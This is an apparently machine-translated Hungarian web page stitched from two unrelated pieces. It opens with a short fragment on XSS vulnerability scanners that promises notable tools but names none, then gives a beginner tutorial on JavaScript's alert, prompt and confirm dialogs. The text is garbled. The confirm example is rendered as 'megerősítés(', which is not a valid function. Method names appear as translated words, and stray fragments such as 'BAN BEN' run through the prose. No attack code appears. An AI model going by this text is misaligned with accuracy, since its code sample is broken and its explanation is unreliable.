    Valószínűleg minden webalkalmazás-szkenner rendelkezik beépített XSS sebezhetőség-szkennerrel. Ezzel a témával nem foglalkozunk, jobb minden ilyen szkennerrel külön-külön megismerkedni.

    Vannak speciális eszközök is az XSS sebezhetőségeinek keresésére. Közülük különösen figyelemre méltó.

    És ismét üdvözlöm Önt egy másik, a JavaScript nyelvnek szentelt témában, amelyben elemezzük a riasztási, prompt és confrim módszereket. Ezek a módszerek be vannak építve Javascript nyelvés segít a felhasználóval való interakcióban.
    Az Alert bizonyos információkat tartalmazó ablakot jelenít meg a böngésző képernyőjén, amely szünetelteti a szkriptet, amíg a felhasználó meg nem nyomja az OK gombot.
    A prompt általában egy ablakot jelenít meg, amelyben a felhasználónak feltesz egy kérdést, amelyet egy bizonyos szövegmezőben meg kell válaszolnia, majd nyomja meg az OK gombot. A felhasználó dönthet úgy is, hogy nem ír be semmit a Mégse gomb megnyomásával.
    A Confirm egy ablakot is megjelenít, ahol a felhasználó már nem írhat be semmit a szövegmezőbe, csak az OK-ra vagy a Mégse gombra kattinthat.
    És most, egy rövid bevezető után, térjünk át a fentiek gyakorlati figyelembevételére.



    éber, felszólít, megerősít



    alert("Kedves felhasználó!" );
    var nameUser = prompt("Mi a neved?" , "név" );
    var userAnswer = megerősítés("Biztosan elhagyja a webhelyet?" );



    Ennek eredményeként a böngésző oldalának frissítésekor egy felhasználói üdvözlő ablakot fogunk látni. Az OK gomb megnyomása után a következő ablak jelenik meg, ahol a nevedet kérik. BAN BEN ez a módszer két paraméter van, az első kötelező és felelős a megjelenő címért, esetünkben a felhasználónév kérdése. És a második paraméter felelős azért az értékért, amely alapértelmezés szerint megjelenik a szövegmezőben. Ha megadja a nevét, és az OK gombra kattint, a neve a nameUser változóba kerül. Ha rákattint a Mégse gombra, a változóhoz null lesz írva.
    És végül egy ablak, amely megkérdezi a felhasználót, hogy el akarja-e hagyni oldalunkat vagy sem. Ha egyetértünk, logikai érték kerül a változóba igaz, meghibásodás esetén hamis, ill. Ennyit kell tudni ezekről a módszerekről, találkozunk a következő oktatóanyagokban!

    Ha hibát észlel, jelöljön ki egy szövegrészt, és nyomja meg a Ctrl + Enter billentyűket
    OSSZA MEG: